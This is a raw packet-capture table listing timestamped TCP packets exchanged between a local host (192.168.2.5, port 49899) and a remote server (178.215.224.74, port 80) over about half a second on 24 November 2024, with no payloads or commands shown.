Nov 24, 2024 12:05:36.502331972 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.502383947 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.502448082 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.503310919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.503418922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.503492117 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.504447937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.504549026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.505601883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.505678892 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.505713940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.505776882 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.506745100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.506875038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.507935047 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.508009911 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.508033037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.508093119 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.509195089 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.509355068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.509432077 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.510319948 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.510391951 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.511395931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.511490107 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.511523962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.511606932 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.512603998 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.512792110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.512866020 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.513756037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.513835907 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.514031887 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.514831066 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.514898062 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.514974117 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.516097069 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.516185999 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.517174959 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.517262936 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.517298937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.517363071 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.518322945 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.518448114 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.519627094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.519711971 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.519758940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.519844055 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.520952940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.521086931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.521177053 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.521966934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.522017956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.522910118 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.522910118 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.522985935 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.524120092 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.524175882 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.524226904 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.524276018 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.525271893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.525367022 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.526474953 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.526529074 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.526556969 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.526601076 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.527584076 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.527642965 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.527693987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.528723001 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.528834105 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.529860973 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.529921055 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.529959917 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.530009985 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.531060934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.531127930 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.531181097 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.532154083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.532278061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.533566952 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.533624887 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.533734083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.533783913 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.534686089 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.534771919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.535060883 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.535645008 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.535831928 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.536777020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.536833048 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.536907911 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.536952019 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.537905931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.538037062 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.538809061 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.539047956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.539150000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.540184021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.540240049 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.540283918 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.540328979 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.541348934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.541503906 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.542519093 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.542606115 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.542637110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.542680025 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.543730974 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.543827057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.543886900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.544853926 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.544964075 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.546005964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.546065092 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.546156883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.546200037 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.547148943 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.547256947 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.547319889 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.548280954 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.548415899 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.549469948 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.549535036 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.549568892 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.549618959 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.550672054 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.550862074 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.551016092 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.552011013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.552275896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.553113937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.553188086 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.553222895 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.553267956 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.554094076 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.554188967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.554752111 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.555200100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.555360079 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.556377888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.556431055 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.556544065 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.556587934 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.557496071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.557606936 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.558706045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.558764935 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.558799982 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.558851004 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.559772015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.607352972 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.700721025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.700742960 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.700812101 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.701128960 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.701235056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.702280045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.702333927 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.702687025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.702788115 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.702830076 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.703857899 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.703998089 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.704045057 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.704996109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.705044031 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.705110073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.706150055 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.706252098 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.706295967 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.707434893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.707684994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.707743883 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.708928108 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.708985090 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.709000111 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.710144043 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.710289001 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.710339069 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.710973978 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.711066961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.711112976 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.712014914 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.712070942 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.712126970 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.713066101 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.713249922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.713288069 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.714314938 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.714359999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.714405060 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.715396881 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.715502024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.715539932 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.716609955 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.716655016 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.716680050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.717669964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.717793941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.717844009 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.718822956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.718935013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.718982935 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.719963074 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.720006943 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.720129967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.721210003 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.721226931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.721271038 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.722306013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.722347975 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.722383976 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.723443031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.723562956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.723608017 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.724780083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.724822998 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.724986076 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.725982904 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.726033926 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.726078033 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.726898909 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.727010965 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.727057934 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.728105068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.728159904 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.728199959 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.729501009 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.729649067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.729698896 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.731261015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.731394053 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.731436014 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.732486963 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.732562065 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.732582092 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.733516932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.733577967 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.733581066 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.734620094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.734709024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.734750032 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.735553026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.735579014 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.735622883 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.736716986 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.736758947 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.736820936 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.737736940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.737792015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.737838984 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.738600969 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.738641977 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.738650084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.739566088 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.739670992 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.739720106 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.740992069 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.741035938 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.741090059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.742187977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.742372990 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.742414951 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.743303061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.743448019 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.743491888 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.744246006 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.744287968 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.744348049 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.745369911 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.745470047 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.745512962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.746539116 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.746582031 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.746620893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.747771025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.747908115 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.747965097 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.748976946 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.749001980 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.749018908 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.749952078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.750051022 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.750108004 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.751115084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.751223087 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.751269102 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.752273083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.752337933 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.752403021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.753509045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.753649950 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.753694057 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.754684925 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.754729986 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.754730940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.756066084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.756190062 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.756233931 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.757268906 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.757311106 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.757379055 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.758255959 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.758316994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.758359909 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.759222984 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.759322882 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.759376049 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.760339975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.760387897 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.760432959 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.810513973 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.902077913 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.902221918 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.902298927 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.902561903 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.902689934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.903692961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.903754950 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.903795004 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.903836966 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.904854059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.904983997 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.906075001 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.906088114 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.906172991 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.906753063 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.907146931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.907263041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.907329082 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.908339977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.908446074 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.908492088 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.909460068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.909594059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.909696102 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.910706043 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.910758972 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.910813093 CET	49899	80	192.168.2.5	178.215.224.74
